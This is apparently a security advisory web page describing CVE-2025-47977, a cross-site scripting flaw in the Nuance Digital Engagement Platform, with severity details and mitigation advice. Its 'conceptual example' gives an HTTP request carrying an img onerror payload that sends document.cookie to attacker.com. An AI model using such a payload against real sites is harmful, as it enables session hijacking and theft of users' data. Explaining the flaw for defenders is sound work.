Overview
CVE-2025-47977 is a critical security flaw that affects the Nuance Digital Engagement Platform. As the vulnerability pertains to ‘cross-site scripting’ (XSS), it opens the door to potential system compromise and data leakage. Given the nature of Nuance’s platform that is widely used for customer engagement across various industries, this vulnerability poses a serious threat to both customer data privacy and overall system integrity. The severity of this issue is underscored by its CVSS score of 8.2, marking it as a high-risk vulnerability that needs immediate attention.
Vulnerability Summary
CVE ID: CVE-2025-47977
Severity: High (CVSS: 8.2)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
A new way to communicate
Ameeba Chat is built on encrypted identity, not personal profiles.
Message, call, share files, and coordinate with identities kept separate.
- • Encrypted identity
- • Ameeba Chat authenticates access
- • Aliases and categories
- • End-to-end encrypted chat, calls, and files
- • Secure notes for sensitive information
Private communication, rethought.
Product | Affected Versions
Nuance Digital Engagement Platform | All versions prior to patch
How the Exploit Works
The CVE-2025-47977 vulnerability allows unauthorized attackers to inject malicious scripts into web pages generated by the Nuance Digital Engagement Platform. This is achieved through improper neutralization of user input during web page generation. As a result, the attacker can perform spoofing over a network, potentially gaining unauthorized access to sensitive data, manipulating web content, or even taking over user sessions.
Conceptual Example Code
Below is a
conceptual
example of a crafted HTTP POST request that an attacker might use to exploit this vulnerability:
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_feedback": "<img src='x' onerror='fetch(\"http://attacker.com/steal?cookie=\"+document.cookie)'>" }In this example, the attacker uses an embedded script within the “user_feedback” parameter. When the web page is generated, the script executes, sending the user’s cookies to the attacker’s server, potentially compromising the user’s session.
Mitigation Guidance
Until a patch is released by the vendor, it is recommended to use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation. These security measures can help detect and block malicious requests. Additionally, enforcing Content Security Policy (CSP) and input validation can also help prevent the execution of such malicious scripts. As soon as the vendor releases a patch for this vulnerability, it should be applied immediately to avoid any potential exploits.